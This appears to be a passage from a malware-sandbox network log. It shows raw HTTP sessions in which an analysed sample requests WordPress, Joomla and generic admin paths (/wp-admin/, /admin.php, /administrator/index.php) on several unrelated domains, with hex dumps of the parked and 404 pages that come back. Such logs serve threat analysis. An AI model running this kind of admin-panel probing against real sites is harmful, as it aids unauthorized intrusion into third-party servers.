6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 66 75 72 6e 73 63 61 6c 65 73 2e 63 6f 6d 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 61 64 73 65 6e 73 65 2f 64 6f 6d 61 69 6e 73 2f 63 61 66 2e 6a 73 3f 61 62 70 3d 31 22 3e 3c 2f 73 63 72 69 70 74 3e 20 20 20 20 3c 73 74 79 6c 65 20 6d 65 64 69 61 3d 22 73 63 72 65 65 6e 22 3e 0a 2e 61 73 73 65 74 5f 73 74 61 72 30 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 2f 2f 64 33 38 70 73 72 6e 69 31 37 62 76 78 75 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 2f 74 68 65 6d 65 73 2f 61 73 73 65 74 73 2f 73 74 61 72 30 2e 67 69 66 27 29 20 6e 6f 2d 72 65 70 65 61 74 20 63 65 6e 74 65 72 3b 0a 09 77 69 64 74 68 3a 20 31 33 70 78 3b 0a 09 68 65 69 67 68 74 3a 20 31 32 70 78 3b 0a 09 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a 7d 0a 0a 2e 61 73 73 65 74 5f 73 74 61 72 31 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 2f 2f 64 33 38 70 73 72 6e 69 31 37 62 76 78 75 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 2f 74 68 65 6d 65 73 2f 61 73 73 65 74 73 2f 73 74 61 72 31 2e 67 69 66 27 29 20 6e 6f 2d 72 65 70 65 61 74 20 63 65 6e 74 65 72 3b 0a 09 77 69 64 74 68 3a 20 31 33 70 78 3b 0a 09 68 65 69 67 68 74 3a 20 31 32 70 78 3b 0a 09 64 69 73 Data Ascii: 4b99<!DOCTYPE html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBALquDFETXRn0Hr05fUP7EJT77xYnPmRbpMy4vk8KYiHnkNpednjOANJcaXDXcKQJN0nXKZJL7TciJD8AoHXK158CAwEAAQ==_Ld2Ca+3wF6mI1ISnAbrZA8D8qJAkFIvzydl0/oCz8L9536Mg796LMKhOpgF1OMYwIHkvY5L1NHrU9i83JAvb3A==" xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"/> <title>furnscales.com</title> <script src="//www.google.com/adsense/domains/caf.js?abp=1"></script> <style media="screen">.asset_star0 {background: url('//d38psrni17bvxu.cloudfront.net/themes/assets/star0.gif') no-repeat center;width: 13px;height: 12px;display: inline-block;}.asset_star1 {background: url('//d38psrni17bvxu.cloudfront.net/themes/assets/star1.gif') no-repeat center;width: 13px;height: 12px;dis
Dec 2, 2023 18:04:39.003710985 CET	1274	IN	Data Raw: 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a 7d 0a 0a 2e 61 73 73 65 74 5f 73 74 61 72 48 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 2f 2f 64 33 38 70 73 72 6e 69 31 37 62 76 78 75 2e 63 6c 6f 75 64 66 72 6f 6e Data Ascii: play: inline-block;}.asset_starH {background: url('//d38psrni17bvxu.cloudfront.net/themes/assets/starH.gif') no-repeat center;width: 13px;height: 12px;display: inline-block;}.sitelink {padding-right: 16px;}.sellerRatings a:l
Dec 2, 2023 18:04:39.003745079 CET	1274	IN	Data Raw: 31 37 62 76 78 75 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 2f 74 68 65 6d 65 73 2f 63 6c 65 61 6e 50 65 70 70 65 72 6d 69 6e 74 42 6c 61 63 6b 5f 36 35 37 64 39 30 31 33 2f 69 6d 67 2f 62 6f 74 74 6f 6d 2e 70 6e 67 27 29 20 6e 6f 2d 72 65 70 Data Ascii: 17bvxu.cloudfront.net/themes/cleanPeppermintBlack_657d9013/img/bottom.png') no-repeat center bottom; padding-bottom:140px;}.wrapper3 { background:#fff; max-width:300px; margin:0 auto 1rem; padding-top:1px; padding-bo
Dec 2, 2023 18:04:39.003758907 CET	1274	IN	Data Raw: 67 68 74 3a 36 30 30 70 78 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 2e 77 72 61 70 70 65 72 33 20 7b 0a 20 20 20 20 20 20 20 20 6d 61 78 2d 77 69 64 74 68 3a 35 33 30 70 78 3b 0a 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 Data Ascii: ght:600px; } .wrapper3 { max-width:530px; background:none; }}</style> </head><body id="afd" style="visibility:hidden"><div id="reg-banner" class="reg-banner"> <style> .reg-banner { box-sizing:bo
Dec 2, 2023 18:04:39.003777027 CET	1274	IN	Data Raw: 77 2e 6e 65 74 77 6f 72 6b 73 6f 6c 75 74 69 6f 6e 73 2e 63 6f 6d 2f 63 6f 6e 74 65 6e 74 2f 65 78 70 65 72 69 65 6e 63 65 2d 66 72 61 67 6d 65 6e 74 73 2f 6e 65 74 73 6f 6c 2f 73 69 74 65 2d 68 65 61 64 65 72 2f 6d 61 73 74 65 72 2f 5f 6a 63 72 Data Ascii: w.networksolutions.com/content/experience-fragments/netsol/site-header/master/_jcr_content/root/header/logo.coreimg.svg/1633719265272/160x62-full-logo-transparent-bg.svg" class="reg-logo" alt="furnscales.com expired on and is pending renewal
Dec 2, 2023 18:04:39.003788948 CET	1274	IN	Data Raw: 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 68 65 61 64 65 72 2d 74 65 78 74 2d 63 6f 6c 6f 72 22 3e 66 75 72 6e 73 63 61 6c 65 73 2e 63 6f 6d 20 65 78 70 69 72 65 64 20 6f 6e 20 20 61 6e 64 20 69 73 20 70 65 6e 64 69 6e 67 20 72 65 6e 65 77 61 6c 20 Data Ascii: <span class="header-text-color">furnscales.com expired on and is pending renewal or deletion.</span> </div> <div style="grid-column: 1 / span 2; justify-self: end"> <a target="_blank" href="//ads.networksolutions.com/landing?c
Dec 2, 2023 18:04:39.003808975 CET	1274	IN	Data Raw: 6d 59 77 4d 54 59 32 59 6a 6c 69 4d 57 56 6c 4e 32 4a 68 4d 6a 59 79 4f 44 63 35 4d 6d 55 79 4f 47 55 78 4f 44 4e 6c 4d 32 55 30 4d 6d 55 34 4d 32 4d 79 4f 54 41 30 4d 57 52 69 59 7a 45 25 33 44 2a 22 3e 52 65 76 69 65 77 20 6f 75 72 20 50 72 69 Data Ascii: mYwMTY2YjliMWVlN2JhMjYyODc5MmUyOGUxODNlM2U0MmU4M2MyOTA0MWRiYzE%3D*">Review our Privacy Policy</a><br><br><a href="https://assets.web.com/legal/English/MSA/v1.0.0.3/ServicesAgreement.pdf">Service Agreement</a><br><br><a href="https://www.ne
Dec 2, 2023 18:04:39.003840923 CET	1274	IN	Data Raw: 70 61 72 65 6e 74 27 2c 0a 20 20 20 20 20 20 20 20 27 63 6f 6c 6f 72 53 65 61 72 63 68 42 75 74 74 6f 6e 27 3a 20 27 23 30 62 33 32 37 39 27 2c 0a 20 20 20 20 20 20 20 20 27 63 6f 6c 6f 72 53 65 61 72 63 68 42 75 74 74 6f 6e 54 65 78 74 27 3a 20 Data Ascii: parent', 'colorSearchButton': '#0b3279', 'colorSearchButtonText': '#fff' }; </script><script type="text/javascript">var isAdult=false; var containerNames=[]; var uniqueTrackingID='MTcwMTUzNjY3OC44MzQ2OjdkNDZjNG
Dec 2, 2023 18:04:39.003879070 CET	1274	IN	Data Raw: 6c 6c 65 64 41 72 67 75 6d 65 6e 74 73 20 3d 20 66 61 6c 73 65 3b 0a 0a 76 61 72 20 70 61 67 65 4f 70 74 69 6f 6e 73 20 3d 20 7b 0a 20 20 20 20 27 70 75 62 49 64 27 3a 20 27 64 70 2d 74 65 61 6d 69 6e 74 65 72 6e 65 74 30 31 27 2c 0a 20 20 20 20 Data Ascii: lledArguments = false;var pageOptions = { 'pubId': 'dp-teaminternet01', 'resultsPageBaseUrl': '//' + location.host + '/?ts=', 'fontFamily': 'arial', 'optimizeTerms': true, 'maxTermLength': 40, 'adtest': true, 'cli
Dec 2, 2023 18:04:39.003895998 CET	1274	IN	Data Raw: 69 6e 65 72 4e 61 6d 65 20 69 6e 20 63 6f 6e 74 61 69 6e 65 72 4e 61 6d 65 73 29 20 7b 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 64 61 74 61 20 3d 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6e 74 61 69 6e 65 72 4e Data Ascii: inerName in containerNames) { var data = { containerName: containerName, adsLoaded: adsLoaded, isExperimentVariant: isExperimentVariant, callbackOptions: callbackOpti
Dec 2, 2023 18:04:39.021317959 CET	1274	IN	Data Raw: 73 2e 65 72 72 6f 72 63 6f 64 65 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 69 66 20 28 73 74 61 74 75 73 2e 65 72 72 6f 72 5f 63 6f 64 65 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 61 6a 61 78 51 75 65 72 79 28 73 63 72 Data Ascii: s.errorcode; } if (status.error_code) { ajaxQuery(scriptPath + "/track.php?domain=" + encodeURIComponent(domain) + "&caf=1&toggle=errorcode&code=" + encodeURIComponent(status.error_code) + "&uid=" + encodeURICompon

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.7	56888	81.68.211.71	80

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:04:38.606003046 CET	222	OUT	GET /wp-admin/ HTTP/1.1 Host: yekai.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 2, 2023 18:04:38.987114906 CET	1081	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/10.0 X-UA-Compatible: IE=edge,chrome=1 X-Powered-By: PbootCMS Set-Cookie: lg=cn; path=/ X-Powered-By: ASP.NET Date: Sat, 02 Dec 2023 17:04:38 GMT Content-Length: 766 Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e e9 94 99 e8 af af e4 bf a1 e6 81 af 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 30 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 70 70 6c 65 2d 6d 6f 62 69 6c 65 2d 77 65 62 2d 61 70 70 2d 63 61 70 61 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 79 65 73 22 20 2f 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 0a 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 30 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 35 25 3b 22 3e 0a 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 30 70 78 3b 22 3e 3c 69 6d 67 20 73 72 63 3d 22 2f 63 6f 72 65 2f 74 65 6d 70 6c 61 74 65 2f 66 61 63 65 30 32 2e 70 6e 67 22 20 68 65 69 67 68 74 3d 22 31 32 30 22 3e 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 30 70 78 3b 22 3e e6 82 a8 e8 ae bf e9 97 ae e7 9a 84 e9 a1 b5 e9 9d a2 e4 b8 8d e5 ad 98 e5 9c a8 ef bc 8c e8 af b7 e6 a0 b8 e5 af b9 e5 90 8e e9 87 8d e8 af 95 ef bc 81 20 3c 73 70 61 6e 20 69 64 3d 22 74 69 6d 65 22 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 31 38 70 78 3b 22 3e 3c 2f 73 70 61 6e 3e 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 64 69 76 3e 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 62 6f 72 64 65 72 2d 74 6f 70 3a 31 70 78 20 73 6f 6c 69 64 20 23 63 63 63 3b 63 6f 6c 6f 72 3a 23 63 63 63 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 32 70 78 3b 22 3e 0a 20 20 20 09 09 e7 a8 8b e5 ba 8f e7 89 88 e6 9c ac ef bc 9a 33 2e 32 2e 35 2d 32 30 32 33 30 34 32 31 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <!doctype html><html><head> <meta charset="utf-8"> <title></title> <meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=0" /><meta name="apple-mobile-web-app-capable" content="yes" /></head><body><div style="margin-left:10%;margin-top:5%;"> <div style="margin-bottom:20px;"><img src="/core/template/face02.png" height="120"></div> <div style="font-size:20px;margin-bottom:20px;"> <span id="time" style="font-size:18px;"></span></div> <div><span style="font-size:12px;border-top:1px solid #ccc;color:#ccc;padding-top:2px;"> 3.2.5-20230421 </span></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.7	56893	81.68.211.71	80

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:04:38.606193066 CET	222	OUT	GET /admin.php HTTP/1.1 Host: yekai.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 2, 2023 18:04:38.945286989 CET	891	IN	Data Raw: 96 8c 19 5f 09 28 fc 26 83 74 7f 09 45 c0 ff 1f 01 e6 f6 65 5e 17 e7 d7 20 f1 2f 5a 17 75 3e fb 28 5d 95 d9 34 9f 57 25 b1 da 67 1f fd 97 7f da 5f f5 5f fc 51 7f e7 7f fe 27 fd f1 1f a5 d9 ba ad a6 d5 62 55 e6 2d 41 a8 ce cf 3b 33 c1 bd eb b8 ec Data Ascii: _(&tEe^ /Zu>(]4W%g__Q'bU-A;3[!^Ul#l#&K&7?/6&uue\|;w@j0!,aZS:%h<6%-4m?~o:>uHs(_\|"A2?o;w
Dec 2, 2023 18:04:38.945302963 CET	1340	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Type: text/html; charset=utf-8 Content-Encoding: gzip Expires: Thu, 19 Nov 1981 08:52:00 GMT Vary: Accept-Encoding Server: Microsoft-IIS/10.0 X-UA-Compatible: IE=edge,chrome=1 X-Powered-By: PbootCMS Set-Cookie: PbootSystem=bcl5srk9fjr92mlllbiotbel1v; path=/ X-Powered-By: ASP.NET Date: Sat, 02 Dec 2023 17:04:38 GMT Content-Length: 1678 Data Raw: 1f 8b 08 00 00 00 00 00 04 00 ed bd 07 60 1c 49 96 25 26 2f 6d ca 7b 7f 4a f5 4a d7 e0 74 a1 08 80 60 13 24 d8 90 40 10 ec c1 88 cd e6 92 ec 1d 69 47 23 29 ab 2a 81 ca 65 56 65 5d 66 16 40 cc ed 9d bc f7 de 7b ef bd f7 de 7b ef bd f7 ba 3b 9d 4e 27 f7 df ff 3f 5c 66 64 01 6c f6 ce 4a da c9 9e 21 80 aa c8 1f 3f 7e 7c 1f 3f 22 1e ff ae 4f bf 3c 79 f3 fb bc 3c 4d e7 ed a2 3c 4a 1e 9b 1f 79 36 a3 1f 8b bc cd d2 e9 3c ab 9b bc fd ec a3 75 7b be 7d f0 91 f9 78 99 2d f2 cf 3e ba 2c f2 ab 55 55 b7 1f a5 d3 6a d9 e6 4b 6a 76 55 cc da f9 67 b3 fc b2 98 e6 db fc c7 28 2d 96 45 5b 64 e5 76 33 cd ca fc b3 dd 51 ba c8 de 15 8b f5 c2 7c d0 81 5a e7 cb 59 5e e7 f5 47 a9 07 36 9f bc 2d 5a 34 6c 8b b6 cc 8f 5e 4e aa aa 3d f9 e2 f5 7f f9 37 fc c5 ff e5 9f f4 47 fc 67 7f d7 5f ff 9f ff 83 7f e8 f6 4f de 1b ef 8d ef 6f ef ed ec dd db d9 df db 7d 7c 57 da 26 8f cb 62 f9 36 ad f3 f2 b3 8f 9a 39 a1 3b 5d b7 69 41 a0 3f 4a e7 75 7e fe d9 47 77 cf 33 42 b7 5a 8e e9 9f 8f d2 f6 7a 45 48 14 8b ec 22 bf fb 6e 9b 3e 5a a2 5b 0f 44 7b 5d e6 cd 3c cf 69 d8 fa 7e b6 5a 35 77 b3 d9 a2 58 de 05 49 ee ce f2 f3 6c 5d b6 77 cb ec 7a 5d dc 9d 36 8d fc 36 a6 df 7e 8f cb cf 2e 09 c9 f1 fe d7 06 7a 4e 34 d9 ce ae f2 a6 5a e4 0c db ff 60 4c cd 4d 37 fb e3 07 e3 1d 33 9e 36 7f d7 a2 f5 d7 ee 96 de bd 5b 56 17 0e fc ee 78 77 fc 29 c0 35 d3 ba 58 b5 7e 3f 3f 9d 5d 66 f2 e9 47 69 53 4f 37 40 fd e9 e6 ee 4f ff a2 75 5e 5f 6f 13 b8 bd f1 3e e3 ff d3 84 e5 e3 bb 02 80 e0 df 15 7e 4c 1e 4f aa d9 f5 51 f2 63 c9 e3 59 71 99 4e cb ac 69 88 2d 9b bc de 66 bc 3e 4a e9 bb f8 57 db 8b 8c be a7 af 87 be 47 0f c4 70 68 f1 63 8f e7 7b f2 b3 58 5c dc 80 3d 33 09 93 a5 1a af 96 17 44 c3 bc b8 98 13 bb ee ef 08 ac 18 9b e2 73 1a 93 76 b2 3a fa af ff da 3f eb bf f8 d3 ff a8 ff f4 0f fa 83 ff cb bf e1 0f fa 2f fe b6 3f 98 7e f9 cf ff be bf e7 bf f8 43 fe f8 ff f2 cf f9 c3 5e 7e fb e5 7f f6 f7 fd c1 ff d9 df f5 e7 fc 97 7f ff 9f fc 5f fe b5 7f b6 40 f9 2f ff d6 bf f7 bf fc 7b ff c2 c7 77 57 00 f0 f8 2e 0d 08 bf d0 ff 1e 9f 57 f5 22 cd a6 6d 51 2d 81 34 f0 1d af e6 ab df 63 f5 d9 dd 33 12 a9 77 40 94 e8 90 a6 d5 b2 59 4f 16 05 21 5a e7 ed ba 5e a6 e7 59 d9 e4 24 c5 42 18 66 d6 6d 40 fb 28 2d 66 9f 7d 34 ab e4 45 f4 43 64 59 ae 48 7e 64 b6 e7 c5 6c 96 13 44 11 5c bc 31 9d e7 d3 b7 f2 9a f7 e7 65 56 ae a9 c1 83 f3 87 7b d9 2c cb b2 bd 7b 93 9d 07 3b 7b 0f 1f de db df bd 9f ed 4f ef ed 3c cc 0e 76 27 34 85 29 f7 41 83 32 c8 78 b3 34 a9 de 09 0e 41 03 87 ed 76 d1 e6 0b 6d f1 63 8f cb 6c 92 97 a6 91 07 05 12 9d ca 4b 9d 5f b7 d1 0a 43 01 fb f1 eb 06 Data Ascii: `I%&/m{JJt`$@iG#)*eVe]f@{{;N'?\fdlJ!?~\|?"O<y<M<Jy6<u{}x->,UUjKjvUg(-E[dv3Q\|ZY^G6-Z4l^N=7Gg_Oo}\|W&b69;]iA?Ju~Gw3BZzEH"n>Z[D{]<i~Z5wXIl]wz]66~.zN4Z`LM736[Vxw)5X~??]fGiSO7@Ou^_o>~LOQcYqNi-f>JWGphc{X\=3Dsv:?/?~C^~_@/{wW.W"mQ-4c3w@YO!Z^Y$Bfm@(-f}4ECdYH~dlD\1eV{,{;{O<v'4)A2x4AvmclK_C

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.7	56883	218.20.227.130	80

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:04:38.606308937 CET	236	OUT	GET /administrator/index.php HTTP/1.1 Host: gztit.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 2, 2023 18:04:38.940922022 CET	1340	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/7.5 X-Powered-By: ASP.NET Date: Sat, 02 Dec 2023 17:04:27 GMT Content-Length: 1163 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 32 33 31 32 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e b7 fe ce f1 c6 f7 b4 ed ce f3 3c 2f 68 31 3e 3c 2f 64 69 76 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0d 0a 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 3c 66 69 65 6c 64 73 65 74 3e 0d 0a 20 20 3c 68 32 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 68 32 3e 0d 0a 20 20 3c 68 33 3e c4 fa d2 aa b2 e9 d5 d2 b5 c4 d7 ca d4 b4 bf c9 c4 dc d2 d1 b1 bb c9 be b3 fd a3 ac d2 d1 b8 fc b8 c4 c3 fb b3 c6 bb f2 d5 df d4 dd ca b1 b2 bb bf c9 d3 c3 a1 a3 3c 2f 68 33 3e 0d 0a 20 3c 2f 66 69 65 6c 64 73 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=gb2312"/><title>404 - </title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1></h1></div><div id="content"> <div class="content-container"><fieldset> <h2>404 - </h2> <h3></h3> </fields
Dec 2, 2023 18:04:38.940954924 CET	91	IN	Data Raw: 65 74 3e 3c 2f 64 69 76 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: et></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.7	56891	218.20.227.130	80

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:04:38.606559992 CET	222	OUT	GET /wp-admin/ HTTP/1.1 Host: gztit.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
